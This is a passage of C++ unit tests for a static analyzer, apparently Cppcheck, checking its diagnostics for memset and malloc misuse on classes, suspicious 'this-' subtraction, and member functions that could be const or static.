errout_str());\n checkNoMemset(\"class A {\\n\"\n \" const B&b;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Using 'memset' on class that contains a reference. [memsetClassReference]\\n\", errout_str());\n\n // #7456\n checkNoMemset(\"struct A {\\n\"\n \" A() {}\\n\"\n \" virtual ~A() {}\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" A* arr[4];\\n\"\n \"};\\n\"\n \"void func() {\\n\"\n \" B b[4];\\n\"\n \" memset(b, 0, sizeof(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8619\n checkNoMemset(\"struct S { std::vector m; };\\n\"\n \"void f() {\\n\"\n \" std::vector v(5);\\n\"\n \" memset(&v[0], 0, sizeof(S) * v.size());\\n\"\n \" memset(&v[0], 0, v.size() * sizeof(S));\\n\"\n \" memset(&v[0], 0, 5 * sizeof(S));\\n\"\n \" memset(&v[0], 0, sizeof(S) * 5);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:5:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:6:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\",\n errout_str());\n\n // #1655\n const Settings s = settingsBuilder().library(\"std.cfg\").build();\n checkNoMemset(\"void f() {\\n\"\n \" char c[] = \\\"abc\\\";\\n\"\n \" std::string s;\\n\"\n \" memcpy(&s, c, strlen(c) + 1);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Using 'memcpy' on std::string. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"template \\n\"\n \" void f(T* dst, const T* src, int N) {\\n\"\n \" std::memcpy(dst, src, N * sizeof(T));\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" typedef std::vector* P;\\n\"\n \" P Src[2]{};\\n\"\n \" P Dst[2];\\n\"\n \" f

(Dst, Src, 2);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"void f() {\\n\"\n \" std::array a;\\n\"\n \" std::memset(&a, 0, 4);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnInvalid() { // Ticket #5425\n checkNoMemset(\"union ASFStreamHeader {\\n\"\n \" struct AVMPACKED {\\n\"\n \" union {\\n\"\n \" struct AVMPACKED {\\n\"\n \" int width;\\n\"\n \" } vid;\\n\"\n \" };\\n\"\n \" } hdr;\\n\"\n \"};\"\n \"void parseHeader() {\\n\"\n \" ASFStreamHeader strhdr;\\n\"\n \" memset(&strhdr, 0, sizeof(strhdr));\\n\"\n \"}\");\n }\n\n void memsetOnStruct() {\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A a;\\n\"\n \" memset(&a, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"void f()\\n\"\n \"{\\n\"\n \" struct sockaddr_in6 fail;\\n\"\n \" memset(&fail, 0, sizeof(struct sockaddr_in6));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \" void g( struct sockaddr_in6& a);\\n\"\n \"private:\\n\"\n \" std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A fail;\\n\"\n \" memset(&fail, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:2]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct Stringy {\\n\"\n \" std::string inner;\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Stringy s;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Foo foo;\\n\"\n \" memset(&foo, 0, sizeof(Foo));\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n }\n\n void memsetVector() {\n checkNoMemset(\"class A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on class that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on class that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" std::vector buf;\\n\"\n \" operator int*() {return &buf[0];}\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(a, 0, 100);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #4460\n\n checkNoMemset(\"struct C {\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"int foo() {\\n\"\n \" C* c1[10][10];\\n\"\n \" C* c2[10];\\n\"\n \" C c3[10][10];\\n\"\n \" C** c4 = new C*[10];\\n\"\n \" memset(**c1, 0, 10);\\n\"\n \" memset(*c1, 0, 10);\\n\"\n \" memset(*c2, 0, 10);\\n\"\n \" memset(*c3, 0, 10);\\n\"\n \" memset(*c4, 0, 10);\\n\"\n \" memset(c2, 0, 10);\\n\"\n \" memset(c3, 0, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:11:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:12:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:13:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n // Ticket #6953\n checkNoMemset(\"typedef float realnum;\\n\"\n \"struct multilevel_data {\\n\"\n \" realnum *GammaInv;\\n\"\n \" realnum data[1];\\n\"\n \"};\\n\"\n \"void *new_internal_data() const {\\n\"\n \" multilevel_data *d = (multilevel_data *) malloc(sizeof(multilevel_data));\\n\"\n \" memset(d, 0, sizeof(multilevel_data));\\n\"\n \" return (void*) d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:3]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n }\n\n void memsetOnStdPodType() { // Ticket #5901\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n checkNoMemset(\"class A {\\n\"\n \" std::array ints;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // std::array is POD (#5481)\n\n checkNoMemset(\"struct st {\\n\"\n \" std::uint8_t a;\\n\"\n \" std::atomic_bool b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" st s;\\n\"\n \" std::memset(&s, 0, sizeof(st));\\n\"\n \"}\", settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnFloat() {\n checkNoMemset(\"struct A {\\n\"\n \" float f;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float f[4];\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float f[4];\\n\"\n \"};\\n\"\n \"void f(const A& b) {\\n\"\n \" A a;\\n\"\n \" memcpy(&a, &b, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float* f;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnUnknown() {\n checkNoMemset(\"void clang_tokenize(CXToken **Tokens) {\\n\"\n \" *Tokens = (CXToken *)malloc(sizeof(CXToken) * CXTokens.size());\\n\"\n \" memmove(*Tokens, CXTokens.data(), sizeof(CXToken) * CXTokens.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mallocOnClass() {\n checkNoMemset(\"class C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with malloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"class C { C(int z, Foo bar) { bar(); } };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with malloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"struct C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = realloc(p, sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with realloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"struct C { virtual void bar(); };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:1:1]: (error) Memory for class instance allocated with malloc(), but class contains a virtual function. [mallocOnClassError]\\n\", errout_str());\n\n checkNoMemset(\"struct C { std::string s; };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:1:1]: (error) Memory for class instance allocated with malloc(), but class contains a 'std::string'. [mallocOnClassError]\\n\", errout_str());\n\n checkNoMemset(\"class C { };\\n\" // C-Style class/struct\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = new C();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class C { C() {} };\\n\"\n \"void foo(D*& p) {\\n\" // Unknown type\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class AutoCloseFD {\\n\"\n \" int fd;\\n\"\n \"public:\\n\"\n \" AutoCloseFD(int fd);\\n\"\n \" ~AutoCloseFD();\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" AutoCloseFD fd = open(\\\"abc\\\", O_RDONLY | O_CLOEXEC);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct C {\\n\" // #12313\n \" char* p;\\n\"\n \" C(char* ptr) : p(ptr) {}\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c = strdup(\\\"abc\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkThisSubtraction(...) checkThisSubtraction_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkThisSubtraction_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n checkClass.thisSubtraction();\n }\n\n void this_subtraction() {\n checkThisSubtraction(\"; this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:1:3]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\\n\"\n \"this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:2:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\\n\"\n \"this-x ;\\n\"\n \"this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:2:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\"\n \"[test.cpp:3:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n }\n\n struct CheckConstOptions\n {\n CheckConstOptions() = default;\n const Settings *s = nullptr;\n bool inconclusive = true;\n };\n\n#define checkConst(...) checkConst_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkConst_(const char* file, int line, const char (&code)[size], const CheckConstOptions& options = make_default_obj()) {\n const Settings settings = settingsBuilder(options.s ? *options.s : settings0).certainty(Certainty::inconclusive, options.inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkConst)();\n }\n\n void const1() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" const std::string foo() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" const std::string & foo() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // constructors can't be const..\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" Fred() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment through |=..\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int setA() { a |= true; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // functions with a call to a member function can only be const, if that member function is const, too.. (#1305)\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void a() { x = 1; }\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" int a() const { return x; }\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'Fred::b' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::b' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned get()\\n\"\n \" { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" const std::string foo() const throw() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const2() {\n // ticket 1344\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo() { s = \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument reference can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a) { a = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a) { s = a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument references can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { a = s; b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { s = a; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { s = a; b = a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { a = s; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const3() {\n // assignment to function argument pointer can be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a) { *a = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a) { s = *a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointers can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { *a = s; *b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { s = *a; s = *b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { s = *a; *b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { *a = s; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const4() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \"};\\n\"\n \"int Fred::getA() { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:11]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" const std::string & foo();\\n\"\n \"};\\n\"\n \"const std::string & Fred::foo() { return \\\"\\\"; }\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:5:27]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // functions with a function call to a non-const member can't be const.. (#1305)\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void a() { x = 1; }\\n\"\n \" void b();\\n\"\n \"};\\n\"\n \"void Fred::b() { a(); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned get();\\n\"\n \"};\\n\"\n \"static unsigned Fred::get() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo();\\n\"\n \"};\\n\"\n \"void Fred::foo() { s = \\\"\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument reference can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a) { a = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a) { s = a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument references can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { a = s; b = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { s = a; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { s = a; b = a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { a = s; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointer can be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a);\\n\"\n \"};\\n\"\n \"void Fred::foo(int * a) { *a = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a);\\n\"\n \"};\\n\"\n \"void Fred::foo(int * a) { s = *a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointers can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { *a = s; *b = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { s = *a; s = *b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { s = *a; *b = s; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { *a = s; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // check functions with same name\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo();\\n\"\n \" void foo(std::string & a);\\n\"\n \" void foo(const std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo() { }\"\n \"void Fred::foo(std::string & a) { a = s; }\"\n \"void Fred::foo(const std::string & a) { s = a; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:7:12]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:4:10] -> [test.cpp:7:32]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // check functions with different or missing parameter names\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void 